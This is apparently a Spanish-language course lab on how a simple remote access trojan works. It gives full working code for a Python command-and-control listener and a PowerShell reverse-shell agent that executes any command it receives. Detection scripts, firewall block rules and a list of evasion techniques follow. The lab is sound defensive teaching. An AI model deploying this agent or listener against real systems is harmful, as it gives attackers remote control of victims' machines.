Lab 10.3: RAT Sencillo con Sockets

Objetivos de Aprendizaje

Al finalizar este laboratorio, usted será capaz de:

• Comprender la arquitectura cliente-servidor de las herramientas de control remoto
• Desarrollar un servidor C2 básico en Python
• Crear un cliente (agente) en PowerShell
• Comprender las técnicas de comunicación de los malwares
• Detectar y bloquear este tipo de comunicación

Duración Estimada

60 minutos

Prerrequisitos

• Lab 10.1 y 10.2 completados
• 2 VMs (atacante y objetivo) en la misma red
• Python 3 instalado en la VM atacante
• PowerShell en la VM objetivo

Contexto Profesional

Los RAT (Remote Access Trojans) y C2 (Command and Control) son:

• Utilizados por Red Teams para simular ataques
• El núcleo de la mayoría de los malwares modernos
• Esenciales de comprender para la detección

Este laboratorio le enseña a DETECTAR estas amenazas, no a utilizarlas maliciosamente.

---

ADVERTENCIA ÉTICA Y LEGAL CRÍTICA

ESTE LABORATORIO ES ESTRICTAMENTE EDUCATIVO

SOLO AUTORIZADO:

• En sus VMs de prueba aisladas
• Sin conexión a Internet
• Dentro del marco del curso

ESTRICTAMENTE PROHIBIDO:

• En sistemas no autorizados
• Con conexión a Internet
• Con fines maliciosos

CONSECUENCIAS LEGALES:

• Acceso no autorizado = Delito (Código penal)
• Prisión y multas elevadas
• Antecedentes penales permanentes

Al continuar con este laboratorio, usted acepta estas condiciones.

---

Parte 1: Arquitectura C2

Paso 1.1: Componentes de un RAT

[Servidor C2]                    [Agente/Cliente]
(Atacante)                       (Objetivo)
     |                               |
     |<------ 1. Conexión --------->|
     |                               |
     |------- 2. Comando ---------->|
     |                               |
     |<------ 3. Resultado ---------|
     |                               |
     |------- 4. Nuevo cmd -------->|
     |       ...                     |

Paso 1.2: Tipos de comunicación

Tipo	Dirección	Ventaja	Inconveniente
Bind Shell	Atacante -> Objetivo	Sencillo	Bloqueado por firewall
Reverse Shell	Objetivo -> Atacante	Elude firewall	Requiere IP accesible
HTTP C2	Objetivo -> Atacante	Discreto	Más complejo

Vamos a crear un Reverse Shell sencillo.

---

Parte 2: Servidor C2 (Python)

Paso 2.1: Crear el servidor

En la VM "atacante", cree serveur_c2.py:

#!/usr/bin/env python3
"""
Serveur C2 educatif - NE PAS UTILISER EN DEHORS DU LAB
"""
import socket
import sys

def banner():
    print("=" * 50)
    print("  SERVEUR C2 EDUCATIF - LAB 10.3")
    print("  Usage: python serveur_c2.py <port>")
    print("=" * 50)
    print()

def start_server(port):
    # Creer le socket
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
    try:
        server.bind(("0.0.0.0", port))
        server.listen(1)
        print(f"[*] Serveur en ecoute sur le port {port}")
        print("[*] En attente d'une connexion...")
        
        # Accepter une connexion
        client, address = server.accept()
        print(f"[+] Connexion recue de {address[0]}:{address[1]}")
        print()
        print("Tapez vos commandes (tapez 'exit' pour quitter):")
        print("-" * 50)
        
        while True:
            # Lire la commande
            command = input("C2> ")
            
            if command.lower() == "exit":
                client.send(b"exit\n")
                break
            
            if not command:
                continue
            
            # Envoyer la commande
            client.send((command + "\n").encode())
            
            # Recevoir le resultat
            result = b""
            while True:
                chunk = client.recv(4096)
                if not chunk or chunk.endswith(b"END_OF_OUTPUT\n"):
                    result += chunk.replace(b"END_OF_OUTPUT\n", b"")
                    break
                result += chunk
            
            # Afficher le resultat
            print(result.decode('utf-8', errors='ignore'))
        
        client.close()
        
    except KeyboardInterrupt:
        print("\n[!] Arret du serveur...")
    except Exception as e:
        print(f"[!] Erreur: {e}")
    finally:
        server.close()

if __name__ == "__main__":
    banner()
    
    if len(sys.argv) != 2:
        print("Usage: python serveur_c2.py <port>")
        sys.exit(1)
    
    port = int(sys.argv[1])
    start_server(port)

Paso 2.2: Iniciar el servidor

python3 serveur_c2.py 4444

Preguntas:

1. ¿En qué puerto escucha el servidor?
2. ¿Qué sucede si el puerto ya está en uso?

---

Parte 3: Agente/Cliente (PowerShell)

Paso 3.1: Crear el agente

En la VM "objetivo", cree agent.ps1:

# Agent C2 educatif - NE PAS UTILISER EN DEHORS DU LAB
# =====================================================

param(
    [Parameter(Mandatory=$true)]
    [string]$ServerIP,
    
    [Parameter(Mandatory=$true)]
    [int]$ServerPort
)

Write-Host "=== AGENT C2 EDUCATIF - LAB 10.3 ===" -ForegroundColor Cyan
Write-Host "Connexion a $ServerIP`:$ServerPort..." -ForegroundColor Yellow

try {
    # Creer la connexion TCP
    $client = New-Object System.Net.Sockets.TcpClient($ServerIP, $ServerPort)
    $stream = $client.GetStream()
    $reader = New-Object System.IO.StreamReader($stream)
    $writer = New-Object System.IO.StreamWriter($stream)
    $writer.AutoFlush = $true
    
    Write-Host "Connecte au serveur C2!" -ForegroundColor Green
    Write-Host "En attente de commandes..." -ForegroundColor Yellow
    
    while ($true) {
        # Lire la commande du serveur
        $command = $reader.ReadLine()
        
        if ($command -eq "exit" -or $command -eq $null) {
            Write-Host "Deconnexion..." -ForegroundColor Red
            break
        }
        
        Write-Host "Commande recue: $command" -ForegroundColor Gray
        
        # Executer la commande
        try {
            $output = Invoke-Expression $command 2>&1 | Out-String
            if ([string]::IsNullOrEmpty($output)) {
                $output = "[Commande executee sans sortie]"
            }
        } catch {
            $output = "Erreur: $_"
        }
        
        # Envoyer le resultat
        $writer.WriteLine($output)
        $writer.WriteLine("END_OF_OUTPUT")
    }
    
} catch {
    Write-Host "Erreur de connexion: $_" -ForegroundColor Red
} finally {
    if ($client) { $client.Close() }
    Write-Host "Agent termine." -ForegroundColor Red
}

Paso 3.2: Iniciar el agente

.\agent.ps1 -ServerIP "192.168.100.10" -ServerPort 4444

Reemplace la IP por la de su VM servidor.

---

Parte 4: Prueba de Comunicación

Paso 4.1: Secuencia de prueba

1. VM Servidor: Inicie el servidor

   python3 serveur_c2.py 4444

2. VM Cliente: Inicie el agente

   .\agent.ps1 -ServerIP "IP_SERVIDOR" -ServerPort 4444

3. En el servidor, pruebe los siguientes comandos:

   C2> whoami
   C2> hostname
   C2> Get-Process | Select-Object -First 5
   C2> Get-Date
   C2> exit

Paso 4.2: Documentar la comunicación

Preguntas: 3. ¿Se ejecutan los comandos en el cliente? 4. ¿Los resultados regresan al servidor? 5. ¿Cuánto tiempo toma un ida y vuelta?

---

Parte 5: Detección y Defensa

Paso 5.1: Detectar la conexión

En la VM cliente, mientras el agente está activo:

# Ver conexiones establecidas
Get-NetTCPConnection -State Established | 
    Where-Object { $_.RemotePort -eq 4444 -or $_.LocalPort -eq 4444 } |
    Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess

# Identificar el proceso
Get-Process -Id (Get-NetTCPConnection -RemotePort 4444).OwningProcess

Paso 5.2: Detectar en los logs

# Eventos de conexión de red (requiere auditoría activa)
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 5156  # Windows Filtering Platform
} -MaxEvents 10 -ErrorAction SilentlyContinue

Paso 5.3: Bloquear con el firewall

# Bloquear conexiones salientes en el puerto 4444
New-NetFirewallRule -DisplayName "Block C2 Port 4444" `
    -Direction Outbound `
    -LocalPort 4444 `
    -Protocol TCP `
    -Action Block

# Verificar la regla
Get-NetFirewallRule -DisplayName "Block C2*"

# Eliminar la regla (después del laboratorio)
Remove-NetFirewallRule -DisplayName "Block C2 Port 4444"

Paso 5.4: Script de detección automática

# Script de detección de conexiones sospechosas
Write-Host "=== DETECTION CONNEXIONS SUSPECTES ===" -ForegroundColor Cyan

$suspectPorts = @(4444, 5555, 6666, 1337, 31337, 8080, 8443)

$connections = Get-NetTCPConnection -State Established | Where-Object {
    $_.RemotePort -in $suspectPorts -or $_.LocalPort -in $suspectPorts
}

if ($connections) {
    Write-Host "`n[ALERTE] Connexions suspectes detectees:" -ForegroundColor Red
    foreach ($conn in $connections) {
        $proc = Get-Process -Id $conn.OwningProcess -ErrorAction SilentlyContinue
        Write-Host "  Port: $($conn.RemotePort) | Processus: $($proc.Name) (PID: $($conn.OwningProcess))" -ForegroundColor Yellow
    }
} else {
    Write-Host "`n[OK] Aucune connexion suspecte detectee" -ForegroundColor Green
}

# Verifier PowerShell avec connexions reseau
$psSessions = Get-NetTCPConnection | Where-Object {
    $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
    $proc.Name -eq "powershell" -and $_.State -eq "Established"
}

if ($psSessions) {
    Write-Host "`n[ALERTE] PowerShell a des connexions reseau actives!" -ForegroundColor Red
    $psSessions | Format-Table LocalAddress, LocalPort, RemoteAddress, RemotePort
}

Preguntas: 6. ¿Se detecta su agente? 7. ¿Funciona el bloqueo por firewall?

---

Parte 6: Mejoras (Discusión)

Paso 6.1: Cómo los malwares reales evitan la detección

Técnicas comunes (solo informativo):

• Uso de puertos estándar (80, 443)
• Cifrado de las comunicaciones (HTTPS)
• Beaconing irregular
• Domain fronting
• DNS tunneling

Paso 6.2: Cómo responden los defensores

• Análisis de comportamiento (EDR)
• Inspección SSL/TLS
• Detección de anomalías de red
• Threat intelligence
• Análisis en sandbox

Pregunta: 8. ¿Cómo detectaría un C2 que utiliza HTTPS en el puerto 443?

---

Limpieza

IMPORTANTE: Después del laboratorio, elimine los archivos:

# En la VM cliente
Remove-Item .\agent.ps1 -Force

# En la VM servidor
rm serveur_c2.py

Retire las reglas de firewall añadidas:

Remove-NetFirewallRule -DisplayName "Block C2*"

---

Entregables

1. Capturas de pantalla:

   • Servidor en escucha
   • Agente conectado
   • Comandos ejecutados
   • Detección de la conexión

2. Respuestas a las 8 preguntas

3. Análisis (2 páginas):

   • Arquitectura del RAT
   • Debilidades de este RAT sencillo
   • Cómo un malware real lo mejoraría
   • Métodos de detección recomendados

---

Criterios de Evaluación

Criterio	Puntos
Servidor/cliente funcionales	25%
Comunicación establecida	20%
Detección implementada	25%
Análisis y comprensión	30%

---

Comandos de Referencia

# Conexiones
Get-NetTCPConnection -State Established
netstat -ano | findstr "ESTABLISHED"

# Firewall
New-NetFirewallRule -DisplayName "Name" -Direction Outbound -LocalPort X -Action Block
Get-NetFirewallRule
Remove-NetFirewallRule -DisplayName "Name"

# Procesos de red
Get-Process -Id (Get-NetTCPConnection).OwningProcess | Select-Object -Unique

# Python servidor
python3 serveur_c2.py 4444

# Verificar puertos (Linux)
netstat -tlnp | grep 4444
ss -tlnp | grep 4444

---

Recursos Adicionales

• MITRE ATT&CK: Command and Control
• C2 Matrix - Comparación de frameworks
• Detection Engineering

---

Conclusión

Este laboratorio le ha mostrado:

1. Cómo funciona un RAT básico
2. La arquitectura cliente-servidor de los C2
3. Las técnicas de detección
4. La importancia del monitoreo de red

El objetivo es COMPRENDER para poder DETECTAR y DEFENDER mejor.

---

Laboratorio desarrollado en el marco del curso Sistemas Operativos - MÓDULO 10